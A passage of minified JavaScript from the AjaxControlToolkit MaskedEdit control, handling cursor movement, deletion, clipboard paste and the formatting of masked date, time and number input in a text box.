e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());curpos=a._deleteTextSelection();if(curpos==-1){curpos=a._getCurrentPosition();if(!a._isValidMaskedEditPosition(curpos))if(curpos!=a._LogicLastInt&&a._InputDirection!=AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)curpos=a._getNextPosition(curpos);a._deleteAtPosition(curpos,h)}else if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft){ClearText=a._getClearMask(e.get_Value());if(ClearText!=""){ClearText=ClearText.replace(new RegExp("(\\"+a.get_CultureThousandsPlaceholder()+")","g"),"")+"";if(ClearText.substring(ClearText.length-1,ClearText.length)==a.get_CultureDecimalPlaceholder()){ClearText=ClearText.substring(0,ClearText.length-1);a.loadValue(ClearText,a._LogicLastInt)}else a.loadValue(ClearText,a._LogicLastPos)}}a.setSelectionRange(curpos,curpos);a._MessageValidatorTip&&e.get_Value()==a._EmptyMask&&a.ShowTooltipMessage(g);if(Sys.Browser.agent==Sys.Browser.Opera){a._SaveText=e.get_Value();a._SavePosi=curpos;a._timer.set_enabled(h);a._timer.set_interval(1);a._timer.set_enabled(g)}}else if(b.ctrlKey){if(c==39||c==35||c==34){a._DirectSelText="R";if(Sys.Browser.agent==Sys.Browser.Opera)return;a._SetCancelEvent(b);curpos=a._getCurrentPosition();a.setSelectionRange(curpos,a._LogicLastPos+1)}else if(c==37||c==36||c==33){a._DirectSelText="L";if(Sys.Browser.agent==Sys.Browser.Opera)return;a._SetCancelEvent(b);curpos=a._getCurrentPosition();a.setSelectionRange(a._LogicFirstPos,curpos)}}else if(c==35||c==34){a._DirectSelText="R";if(Sys.Browser.agent==Sys.Browser.Opera)return;a._SetCancelEvent(b);if(b.shiftKey){curpos=a._getCurrentPosition();a.setSelectionRange(curpos,a._LogicLastPos+1)}else a.setSelectionRange(a._LogicLastPos+1,a._LogicLastPos+1)}else if(c==36||c==33){a._DirectSelText="L";if(Sys.Browser.agent==Sys.Browser.Opera)return;a._SetCancelEvent(b);if(b.shiftKey){curpos=a._getCurrentPosition();a.setSelectionRange(a._LogicFirstPos,curpos)}else a.setSelectionRange(a._LogicFirstPos,a._LogicFirstPos)}else if(c==37){a._DirectSelText="L";if(Sys.Browser.agent==Sys.Browser.Opera)return;a._SetCancelEvent(b);if(b.shiftKey){var d=a._GetBoundSelection();if(d){if(d.left>a._LogicFirstPos)d.left--;a.setSelectionRange(d.left,d.right)}else{var f=a._getCurrentPosition();f>a._LogicFirstPos&&a.setSelectionRange(f-1,f)}}else{curpos=a._getCurrentPosition()-1;if(curpos<a._LogicFirstPos)curpos=a._LogicFirstPos;a.setSelectionRange(curpos,curpos)}if(Sys.Browser.agent==Sys.Browser.Opera){var e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());a._SaveText=e.get_Value();a._SavePosi=curpos;a._timer.set_enabled(h);a._timer.set_interval(1);a._timer.set_enabled(g)}}else if(c==39){a._DirectSelText="R";if(Sys.Browser.agent==Sys.Browser.Opera)return;a._SetCancelEvent(b);if(b.shiftKey){var d=a._GetBoundSelection();if(d){if(d.right<a._LogicLastPos+1)d.right++;a.setSelectionRange(d.left,d.right)}else{f=a._getCurrentPosition();f<a._LogicLastPos+1&&a.setSelectionRange(f,f+1)}}else{curpos=a._getCurrentPosition()+1;if(curpos>a._LogicLastPos+1)curpos=a._LogicLastPos+1;a.setSelectionRange(curpos,curpos)}if(Sys.Browser.agent==Sys.Browser.Opera){var e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());a._SaveText=e.get_Value();a._SavePosi=curpos;a._timer.set_enabled(h);a._timer.set_interval(1);a._timer.set_enabled(g)}}else if(c==27){a._SetCancelEvent(b);var e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());if(a._EmptyMask==a._initialvalue)e.set_Value("");else e.set_Value(a._initialvalue);a._onFocus()}a._SetCancelEvent(b)},_backspace:function(a){var b=this,c=false;if(a>b._LogicFirstPos){var d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(b.get_element()),e=d.get_Value();a=b._getPreviousPosition(a-1);b._deleteAtPosition(a,true);c=true}return c},_deleteAtPosition:function(e,s){var a=this,n=false,m=a._LogicLastPos+1;if(a._LogicLastInt!=-1&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)m=a._LogicLastInt;var h=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());if(s==false&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft&&e==m){ClearText=a._getClearMask(h.get_Value());if(ClearText!=""){n=true;ClearText=ClearText.replace(new RegExp("(\\"+a.get_CultureThousandsPlaceholder()+")","g"),"")+"";if(ClearText.substring(ClearText.length-1,ClearText.length)==a.get_CultureDecimalPlaceholder())ClearText=ClearText.substring(0,ClearText.length-1);var g=ClearText.split(a.get_CultureDecimalPlaceholder());if(a._LogicLastInt!=-1&&g[0]!=""){g[0]=g[0].substring(0,g[0].length-1);ClearText=g[0];if(g.length=2)ClearText+=a.get_CultureDecimalPlaceholder()+g[1]}else ClearText=ClearText.substring(0,ClearText.length-1);ClearText+=a._LogicSymbol;a.loadValue(ClearText,m)}}else{var b=h.get_Value().substring(a._LogicFirstPos,a._LogicLastPos+1),c=a._LogicTextMask.substring(a._LogicFirstPos,a._LogicLastPos+1),f=0,j=e-a._LogicFirstPos;if(a._isValidMaskedEditPosition(e)){n=true;if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){var d=b.split(" "),q=e-a._LogicFirstPos;if(q>d[0].length){b=d[1];f=d[0].length+1;c=c.substring(f);j-=f}else{b=d[0];c=c.substring(0,d[0].length)}}var k=b.substring(j+1),l=c.substring(j+1);b=b.substring(0,j)+a._PromptChar;c=c.substring(0,j)+a._LogicPrompt;for(i=0;i<parseInt(k.length,10);i++)if(a._isValidMaskedEditPosition(e+1+i)){b+=a._PromptChar;c+=a._LogicPrompt}else{b+=k.substring(i,i+1);c+=l.substring(i,i+1)}posaux=a._getNextPosition(e);for(i=0;i<parseInt(k.length,10);i++)if(a._isValidMaskedEditPosition(e+1+i)&&l.substring(i,i+1)!=a._LogicPrompt){b=b.substring(0,posaux-a._LogicFirstPos-f)+k.substring(i,i+1)+b.substring(posaux+1-a._LogicFirstPos-f);c=c.substring(0,posaux-a._LogicFirstPos-f)+l.substring(i,i+1)+c.substring(posaux+1-a._LogicFirstPos-f);posaux=a._getNextPosition(posaux+1)}if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){var r=h.get_Value().substring(a._LogicFirstPos,a._LogicLastPos+1),p=a._LogicTextMask.substring(a._LogicFirstPos,a._LogicLastPos+1),d=r.split(" "),q=e-a._LogicFirstPos;if(q>d[0].length){b=d[0]+" "+b;c=p.substring(0,f)+c}else{b=b+" "+d[1];c=c+p.substring(d[0].length)}}var o=h.get_Value();b=o.substring(0,a._LogicFirstPos)+b+o.substring(a._LogicLastPos+1);a._LogicTextMask=a._LogicTextMask.substring(0,a._LogicFirstPos)+c+a._LogicTextMask.substring(a._LogicLastPos+1);h.set_Value(b)}}return n},_ShowModalClipBoardInput:function(){var a=prompt(this._ClipboardText,"");return a},_PasteFromClipBoard:function(){var f=false,a=this,e=null,b,q=-1,p=-1;if(Sys.Browser.agent==Sys.Browser.InternetExplorer)e=window.clipboardData.getData("Text");else{var j=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()),l=j.get_Value(),g=a._GetBoundSelection(),b=a._getCurrentPosition(),m=a._AutoComplete,o=a._ClearTextOnInvalid,n=a._ClearMaskOnLostfocus,r=a._DirectSelText;a._AutoComplete=f;a._ClearTextOnInvalid=f;a._ClearMaskOnLostfocus=f;e=a._ShowModalClipBoardInput();a._AutoComplete=m;a._ClearTextOnInvalid=o;a._ClearMaskOnLostfocus=n;j.set_Value(l);if(g)a.setSelectionRange(g.left,g.right);else a.setSelectionRange(b,b)}if(e==null||e=="")return;if(e.length>a._maskvalid.length)e=e.substring(0,a._maskvalid.length);b=a._deleteTextSelection();if(b==-1){b=a._getCurrentPosition();if(g)b=g.left}a.setSelectionRange(b,b);var i=f;if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft&&a._LogicLastInt!=-1)i=true;for(var h=0,h=0;h<e.length;h++){var d=e.substring(h,h+1),c=b;if(i)c=a._getLastEmptyPosition();if((a._MaskType==AjaxControlToolkit.MaskedEditType.Time||a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)&&a.get_CultureFirstLettersAMPM().toUpperCase().indexOf(d.toUpperCase())!=-1){if(a._AcceptAmPm){a.InsertAMPM(d);a.setSelectionRange(b,b)}}else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._AcceptNegative!=AjaxControlToolkit.MaskedEditShowSymbol.None&&"+-".indexOf(d)!=-1){a.InsertSignal(d);a.setSelectionRange(b,b)}else{var k=b;b=a._getNextPosition(b);var c=b;if(a._LogicLastInt!=-1&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft){if(k==a._LogicLastInt)c=a._getLastEmptyPosition()}else if(b>=a._LogicLastPos+1&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)c=a._getLastEmptyPosition();if(a._processKey(c,d)){a._MessageValidatorTip&&a.ShowTooltipMessage(f);if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.LeftToRight){a._insertContent(d,c);b=a._getNextPosition(c+1)}else if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)if(a._LogicLastInt==-1)if(b<a._LogicLastPos+1){a._insertContent(d,c);b=a._getNextPosition(c+1)}else{a._insertContentRight(d);b=a._LogicLastPos+1}else if(k!=a._LogicLastInt){a._insertContent(d,c);b=a._getNextPosition(c+1)}else{a._insertContentRight(d);b=a._LogicLastInt}a.setSelectionRange(b,b)}}}i&&a.setSelectionRange(a._LogicLastInt,a._LogicLastInt)},_MoveDecimalPos:function(){var b=this,f=b.get_element(),d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(f),a=b._LogicFirstPos,e=b._LogicLastPos,c=-1;while(a<e){if(d.get_Value().substring(a,a+1)==b.get_CultureDecimalPlaceholder()){c=a;break}a++}if(c==-1)return;b.setSelectionRange(c,c)},_MoveThousandLTR:function(){var b=this,g=b.get_element(),e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(g),f=b._getCurrentPosition(),d=b._LogicLastPos,a=f+1,c=-1;while(a<d){if(e.get_Value().substring(a,a+1)==b.get_CultureThousandsPlaceholder()){c=a;break}a++}if(c==-1){var a=0;d=f;while(a<d){if(e.get_Value().substring(a,a+1)==b.get_CultureThousandsPlaceholder()){c=a;break}a++}if(c==-1)return}b.setSelectionRange(c,c)},_MoveThousandRTL:function(){var b=this,g=b.get_element(),e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(g),f=b._getCurrentPosition(),d=b._LogicFirstPos,a=f-1,c=-1;while(a>d){if(e.get_Value().substring(a,a+1)==b.get_CultureThousandsPlaceholder()){c=a;break}a--}if(c==-1){a=b._LogicLastPos;d=f;while(a>d){if(e.get_Value().substring(a,a+1)==b.get_CultureThousandsPlaceholder()){c=a;break}a--}if(c==-1)return}b.setSelectionRange(c,c)},_AdjustElementDecimalLTR:function(){var a=this,i=a.get_element(),d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(i),f=a._getCurrentPosition();if(d.get_Value().substring(f).indexOf(a.get_CultureDecimalPlaceholder())==-1)return;var e=d.get_Value().substring(a._LogicFirstPos,a._LogicLastPos+1),c=e.indexOf(a.get_CultureDecimalPlaceholder());if(c==-1)return;var b;ClearText=a._getClearMask(d.get_Value());if(ClearText!=""){ClearText=ClearText.replace(new RegExp("(\\"+a.get_CultureThousandsPlaceholder()+")","g"),"")+"";b=ClearText.split(a.get_CultureDecimalPlaceholder())}else b=a.get_CultureDecimalPlaceholder().split(a.get_CultureDecimalPlaceholder());if(b[0]=="")b[0]="0";var h=e.length-c-1;while(b[1].length<h)b[1]+="0";var g=a._InputDirection;a._InputDirection=AjaxControlToolkit.MaskedEditInputDirections.RightToLeft;a.loadValue(b[0]+a.get_CultureDecimalPlaceholder()+b[1],a._LogicLastPos);a._InputDirection=g;c+=a._LogicFirstPos+1;a.setSelectionRange(c,c)},_AdjustElementDecimalRTL:function(){var a=this,d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()),e=d.get_Value().substring(a._LogicFirstPos,a._LogicLastPos+1),c=e.indexOf(a.get_CultureDecimalPlaceholder());if(c==-1)return;var f=a._getCurrentPosition();if(c+a._LogicFirstPos>=f){a._AdjustElementDecimalLTR();return}var b;ClearText=a._getClearMask(d.get_Value());if(ClearText!=""){ClearText=ClearText.replace(new RegExp("(\\"+a.get_CultureThousandsPlaceholder()+")","g"),"")+"";b=ClearText.split(a.get_CultureDecimalPlaceholder())}else b=a.get_CultureDecimalPlaceholder().split(a.get_CultureDecimalPlaceholder());if(b[0]=="")b[0]="0";var h=e.length-c-1;while(b[1].length<h)b[1]+="0";var g=a._InputDirection;a._InputDirection=AjaxControlToolkit.MaskedEditInputDirections.RightToLeft;a.loadValue(b[0]+a.get_CultureDecimalPlaceholder()+b[1],a._LogicLastPos);a._InputDirection=g;c+=a._LogicFirstPos+1;a.setSelectionRange(c,c)},_AdjustTime:function(a,d){for(var c=true,b=0;b<parseInt(a.length,10);b++)if(a.substring(b,b+1)!=this._PromptChar)c=false;if(c)return d;var e=a.length;a=a.replace(new RegExp("(\\"+this._PromptChar+")","g"),"")+"";while(a.length<e)a="0"+a;return a},_AdjustElementTime:function(){var a=this,l=a.get_element(),k=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(l),e="",g=a._getCurrentPosition()-a._LogicFirstPos,h=a._maskvalid,b=g+a._LogicFirstPos,c=0;if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){c=h.split(" ")[0].length+1;if(g<c){b=c+a._LogicFirstPos;a.setSelectionRange(b,b);return}h=h.split(" ")[1];g-=c}h=h.split(":");if(g<=1){e="H";b=3+a._LogicFirstPos+c}else if(g>=2&&g<=4&&h.length==2){e="M";b=c+a._LogicFirstPos}else if(g>=2&&g<=4&&h.length==3){e="M";b=6+a._LogicFirstPos+c}else if(h.length==3){e="S";b=c+a._LogicFirstPos}if(e=="")return;var i=k.get_Value().substring(a._LogicFirstPos,a._LogicLastPos+1);if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)i=i.split(" ")[1];var f=i.split(a.get_CultureTimePlaceholder()),j=a._GetTimeElementText(e),d;if(e=="H"){d=j+a.get_CultureTimePlaceholder()+f[1];if(f.length==3)d+=a.get_CultureTimePlaceholder()+f[2]}else if(e=="M"){d=f[0]+a.get_CultureTimePlaceholder()+j;if(f.length==3)d+=a.get_CultureTimePlaceholder()+f[2]}else if(e=="S"){d=f[0]+a.get_CultureTimePlaceholder()+f[1];d+=a.get_CultureTimePlaceholder()+j}if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)d=k.get_Value().substring(a._LogicFirstPos,c)+d;a.loadMaskValue(d,a._LogicFirstPos,a._LogicSymbol);a.setSelectionRange(b,b)},_GetTimeElementText:function(i){var d="",g="g",f=")",e="(\\",c=this,a,h=c._LogicTextMask.substring(c._LogicFirstPos,c._LogicLastPos+1);if(c._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)h=h.substring(c._maskvalid.split(" ")[0].length+1);var b=h.split(c.get_CultureTimePlaceholder());b[0]=b[0].replace(new RegExp(e+c._LogicPrompt+f,g),c._PromptChar)+d;a=b[0].replace(new RegExp(e+c._PromptChar+f,g),d)+d;if(a!=d&&a.length<2){a="0"+a;b[0]=a}b[1]=b[1].replace(new RegExp(e+c._LogicPrompt+f,g),c._PromptChar)+d;a=b[1].replace(new RegExp(e+c._PromptChar+f,g),d)+d;if(a!=d&&a.length<2){a="0"+a;b[1]=a}if(b.length==3){b[2]=b[2].replace(new RegExp(e+c._LogicPrompt+f,g),c._PromptChar)+d;a=b[2].replace(new RegExp(e+c._PromptChar+f,g),d)+d;if(a!=d&&a.length<2){a="0"+a;b[2]=a}}if(i=="H")return b[0];else if(i=="M")return b[1];return b[2]},_AdjustElementDateTime:function(b){var a=this;b==a.get_CultureDatePlaceholder()&&a._AdjustElementDate();b==a.get_CultureTimePlaceholder()&&a._AdjustElementTime()},_AdjustElementDate:function(){var i="Y",h="M",g="D",f=" ",a=this,p=a.get_element(),n=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(p),l=n.get_Value().substring(a._LogicFirstPos,a._LogicLastPos+1);if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)l=l.split(f)[0];var j=l.split(a.get_CultureDatePlaceholder()),d="",b=a._getCurrentPosition()-a._LogicFirstPos,c=b+a._LogicFirstPos,e=a._maskvalid.indexOf("9999")!=-1?2:0;if(a.get_CultureDateFormat()=="DMY")if(b<=1){d=g;c=3+a._LogicFirstPos}else if(b>=2&&b<=4){d=h;c=6+a._LogicFirstPos}else{if(b>8+e&&a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){a.setSelectionRange(a._LogicFirstPos,a._LogicFirstPos);return}d=i;c=a._LogicFirstPos}else if(a.get_CultureDateFormat()=="MDY")if(b<=1){d=h;c=3+a._LogicFirstPos}else if(b>=2&&b<=4){d=g;c=6+a._LogicFirstPos}else{if(b>8+e&&a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){a.setSelectionRange(a._LogicFirstPos,a._LogicFirstPos);return}d=i;c=a._LogicFirstPos}else if(a.get_CultureDateFormat()=="DYM")if(b<=1){d=g;c=3+a._LogicFirstPos}else if(b>=2&&b<=4+e){d=i;c=6+e+a._LogicFirstPos}else{d=h;c=a._LogicFirstPos}else if(a.get_CultureDateFormat()=="MYD")if(b<=1){d=h;c=3+a._LogicFirstPos}else if(b>=2&&b<=4+e){d=i;c=6+e+a._LogicFirstPos}else{d=g;c=a._LogicFirstPos}else if(a.get_CultureDateFormat()=="YMD")if(b<=1+e){d=i;c=3+e+a._LogicFirstPos}else if(b>=2+e&&b<=4+e){d=h;c=6+e+a._LogicFirstPos}else{d=g;c=a._LogicFirstPos}else if(a.get_CultureDateFormat()=="YDM")if(b<=1+e){d=i;c=3+e+a._LogicFirstPos}else if(b>=2+e&&b<=4+e){d=g;c=6+e+a._LogicFirstPos}else{d=h;c=a._LogicFirstPos}var o=a._GetDateElementText(d);j[a.get_CultureDateFormat().indexOf(d)]=o;var m=j[0]+a.get_CultureDatePlaceholder()+j[1]+a._CultureDatePlaceholder+j[2];if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){var k=n.get_Value().substring(a._LogicFirstPos,a._LogicLastPos+1);if(k.split(f).length==3)m+=f+k.split(f)[1]+f+k.split(f)[2];else m+=f+k.split(f)[1]}a.loadMaskValue(m,a._LogicFirstPos,a._LogicSymbol);a.setSelectionRange(c,c)},_GetDateElementText:function(i){var d="",g="g",f=")",e="(\\",a=this,b,c;if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){var h=a._LogicTextMask.substring(a._LogicFirstPos,a._LogicLastPos+1).split(" ")[0];c=h.split(a.get_CultureDatePlaceholder())}else c=a._LogicTextMask.substring(a._LogicFirstPos,a._LogicLastPos+1).split(a.get_CultureDatePlaceholder());c[a.get_CultureDateFormat().indexOf("D")]=c[a.get_CultureDateFormat().indexOf("D")].replace(new RegExp(e+a._LogicPrompt+f,g),a._PromptChar)+d;b=c[a.get_CultureDateFormat().indexOf("D")].replace(new RegExp(e+a._PromptChar+f,g),d)+d;if(b!=d&&b.length<2){b="0"+b;c[a.get_CultureDateFormat().indexOf("D")]=b}c[a.get_CultureDateFormat().indexOf("M")]=c[a.get_CultureDateFormat().indexOf("M")].replace(new RegExp(e+a._LogicPrompt+f,g),a._PromptChar)+d;b=c[a.get_CultureDateFormat().indexOf("M")].replace(new RegExp(e+a._PromptChar+f,g),d)+d;if(b!=d&&b.length<2){b="0"+b;c[a.get_CultureDateFormat().indexOf("M")]=b}var j=a._maskvalid.indexOf("9999")!=-1?true:false;c[a.get_CultureDateFormat().indexOf("Y")]=c[a.get_CultureDateFormat().indexOf("Y")].replace(new RegExp(e+a._LogicPrompt+f,g),a._PromptChar)+d;b=c[a.get_CultureDateFormat().indexOf("Y")].replace(new RegExp(e+a._PromptChar+f,g),d)+d;if(j){if(b!=d&&b.length<4){while(b.length<4)b="0"+b;c[a.get_CultureDateFormat().indexOf("Y")]=b}}else if(b!=d&&b.length<2){b="0"+b;c[a.get_CultureDateFormat().indexOf("Y")]=b}return c[a.get_CultureDateFormat().indexOf(i)]},_GetBoundSelection:function(){var b=null,a=this.get_element();if(a.setSelectionRange){if(a.selectionStart!=a.selectionEnd)b={left:parseInt(a.selectionStart,10),right:parseInt(a.selectionEnd,10)}}else if(document.selection){sel=document.selection.createRange();if(sel.text!=""){var f=parseInt(sel.text.length,10);sel.text=String.fromCharCode(3)+sel.text;var c=a.createTextRange();c.findText(String.fromCharCode(3));c.select();var e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a),d=parseInt(e.get_Value().indexOf(String.fromCharCode(3)),10);document.selection.clear();b={left:d,right:d+f}}}return b},_deleteTextSelection:function(){var b=this,a=b.get_element(),g=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a),d=g.get_Value(),e=-1,c=-1,h=false;if(a.setSelectionRange){if(a.selectionStart!=a.selectionEnd){var l=parseInt(a.selectionStart,10),k=parseInt(a.selectionEnd,10);h=true;e=k-l;c=a.selectionStart;a.selectionEnd=a.selectionStart}}else if(document.selection){sel=document.selection.createRange();if(sel.text!=""){h=true;var f=sel.text+String.fromCharCode(3);sel.text=f;var j=a.createTextRange();j.findText(f);j.select();c=g.get_Value().indexOf(f);document.selection.clear();e=parseInt(f.length,10)-1}}if(h){for(i=0;i<e;i++)if(b._isValidMaskedEditPosition(c+i)){d=d.substring(0,c+i)+b._PromptChar+d.substring(c+i+1);b._LogicTextMask=b._LogicTextMask.substring(0,c+i)+b._LogicPrompt+b._LogicTextMask.substring(c+i+1)}g.set_Value(d);if(b._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)c+=e}b._DirectSelText="";return c},_isNormalChar:function(a,h){var g="keypress",e=null,d="undefined",c=false,f=this,b=true;if(Sys.Browser.agent==Sys.Browser.Opera&&a.type=="keydown")f._SaveKeyDown=h;if(h<32)b=c;else if(Sys.Browser.agent!=Sys.Browser.InternetExplorer||a.type=="keydown")switch(h){case 33:if(typeof a.rawEvent.which!=d&&a.rawEvent.which!=e)if(a.rawEvent.which==0)b=c;break;case 34:if(typeof a.rawEvent.which!=d&&a.rawEvent.which!=e)if(a.rawEvent.which==0)b=c;break;case 35:if(Sys.Browser.agent==Sys.Browser.Opera&&a.type==g){if(f._SaveKeyDown==35)b=c}else b=c;break;case 36:if(Sys.Browser.agent==Sys.Browser.Opera&&a.type==g){if(f._SaveKeyDown==36)b=c}else b=c;break;case 37:if(typeof a.rawEvent.which!=d&&a.rawEvent.which!=e)if(a.rawEvent.which==0)b=c;break;case 38:if(typeof a.rawEvent.which!=d&&a.rawEvent.which!=e)if(a.rawEvent.which==0)b=c;break;case 39:if(typeof a.rawEvent.which!=d&&a.rawEvent.which!=e)if(a.rawEvent.which==0)b=c;break;case 40:if(typeof a.rawEvent.which!=d&&a.rawEvent.which!=e)if(a.rawEvent.which==0)b=c;break;case 45:if(typeof a.rawEvent.which!=d&&a.rawEvent.which!=e&&Sys.Browser.agent!=Sys.Browser.Opera){if(a.rawEvent.which==0)b=c}else if(Sys.Browser.agent==Sys.Browser.Opera)b=true;else b=c;break;case 86:case 118:if(!a.rawEvent.shiftKey&&a.rawEvent.ctrlKey&&!a.rawEvent.altKey)b=c;break;case 46:if(typeof a.rawEvent.which!=d&&a.rawEvent.which!=e&&Sys.Browser.agent!=Sys.Browser.Opera){if(a.rawEvent.which==0)b=c}else if(Sys.Browser.agent==Sys.Browser.Opera&&a.type==g){if(f._SaveKeyDown==127)b=c}else b=c;break;case 127:b=c}return b},_KeyCode:function(a){scanCode=0;if(a.keyIdentifier)if(a.charCode==63272)scanCode=46;else if(a.charCode==63302)scanCode=45;else if(a.charCode==63233)scanCode=40;else if(a.charCode==63235)scanCode=39;else if(a.charCode==63232)scanCode=38;else if(a.charCode==63234)scanCode=37;else if(a.charCode==63273)scanCode=36;else if(a.charCode==63275)scanCode=35;else if(a.charCode==63277)scanCode=34;else if(a.charCode==63276)scanCode=33;else if(a.charCode==3)scanCode=13;if(scanCode==0)if(a.charCode)scanCode=a.charCode;if(scanCode==0)scanCode=a.keyCode;return scanCode},_InitValue:function(b,d){var c="",a=this;a._LogicSymbol=c;var f=a.get_element(),e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(f);e.set_Value(a._EmptyMask);if(b==a._EmptyMask||b==c)a.loadValue(c,a._LogicFirstPos);else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Date&&b!=c)b=a.ConvFmtDate(b,d);else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Time&&b!=c)b=a.ConvFmtTime(b,d);else if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime&&b!=c)b=a.ConvFmtDateTime(b,d);else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&b!=c)b=a.ConvFmtNumber(b,d);if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.LeftToRight&&b!=c)if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number){a._InputDirection=AjaxControlToolkit.MaskedEditInputDirections.RightToLeft;a.loadValue(b,a._LogicLastPos);a._InputDirection=AjaxControlToolkit.MaskedEditInputDirections.LeftToRight}else a.loadValue(b,a._LogicFirstPos);else a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft&&b!=c&&a.loadValue(b,a._LogicLastPos);if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number)a._InLostfocus&&a._LogicSymbol=="-"&&a._OnBlurCssNegative!=c&&a.AddCssClassMaskedEdit(a._OnBlurCssNegative)},loadMaskValue:function(e,c,d){var a=this;a._createMask();var g=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());g.set_Value(a._EmptyMask);if((a._MaskType==AjaxControlToolkit.MaskedEditType.Time||a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)&&a.get_CultureFirstLettersAMPM().toUpperCase().indexOf(d.toUpperCase().substring(0,1))!=-1)a._AcceptAmPm&&a.InsertAMPM(d.toUpperCase().substring(0,1));else a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._AcceptNegative!=AjaxControlToolkit.MaskedEditShowSymbol.None&&"+-".indexOf(d)!=-1&&a.InsertSignal(d);for(var b=0,b=0;b<parseInt(e.length,10);b++){var f=e.substring(b+c,b+c+1);a._processKey(c+b,f)&&a._insertContent(f,c+b)}},loadValue:function(f,b){var g="+-",a=this;a._createMask();var h=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());h.set_Value(a._EmptyMask);if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.LeftToRight)for(var c=0,c=0;c<parseInt(f.length,10);c++){var d=f.substring(c,c+1);if((a._MaskType==AjaxControlToolkit.MaskedEditType.Time||a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)&&a.get_CultureFirstLettersAMPM().toUpperCase().indexOf(d.toUpperCase())!=-1)a._AcceptAmPm&&a.InsertAMPM(d);else a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._AcceptNegative!=AjaxControlToolkit.MaskedEditShowSymbol.None&&g.indexOf(d)!=-1&&a.InsertSignal(d);if(a._processKey(b,d)){a._insertContent(d,b);b=a._getNextPosition(b+1)}}else if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)if(b==a._LogicLastInt){b=a._getPreviousPosition(b);var e=f.split(a.get_CultureDecimalPlaceholder());for(c=parseInt(e[0].length,10);c>0;c--){var d=e[0].substring(c-1,c);a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._AcceptNegative!=AjaxControlToolkit.MaskedEditShowSymbol.None&&g.indexOf(d)!=-1&&a.InsertSignal(d);if(a._processKey(b,d)){a._insertContent(d,b);b=a._getPreviousPosition(b-1)}}if(e.length>1){b=a._getNextPosition(a._LogicLastInt);for(c=0;c<parseInt(e[1].length,10);c++){var d=e[1].substring(c,c+1);a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._AcceptNegative!=AjaxControlToolkit.MaskedEditShowSymbol.None&&g.indexOf(d)!=-1&&a.InsertSignal(d);if(a._processKey(b,d)){a._insertContent(d,b);b=a._getNextPosition(b+1)}}}}else for(c=parseInt(f.length,10);c>0;c--){var d=f.substring(c-1,c);a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._AcceptNegative!=AjaxControlToolkit.MaskedEditShowSymbol.None&&g.indexOf(d)!=-1&&a.InsertSignal(d);if(a._processKey(b,d)){a._insertContent(d,b);b=a._getPreviousPosition(b-1)}}},AutoFormatNumber:function(){var b=this,a,e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(b.get_element());ValueText=e.get_Value();var d=b._AutoCompleteValue,f=false;for(a=b._LogicFirstPos;a<=b._LogicLastPos;a++)if(b._LogicTextMask.substring(a,a+1)==b._LogicPrompt){var c="0";if(d!="")c=d.substring(a-b._LogicFirstPos,a+1-b._LogicFirstPos);if(f){b._LogicTextMask=b._LogicTextMask.substring(0,a)+c+b._LogicTextMask.substring(a+1);ValueText=ValueText.substring(0,a)+c+ValueText.substring(a+1)}}else 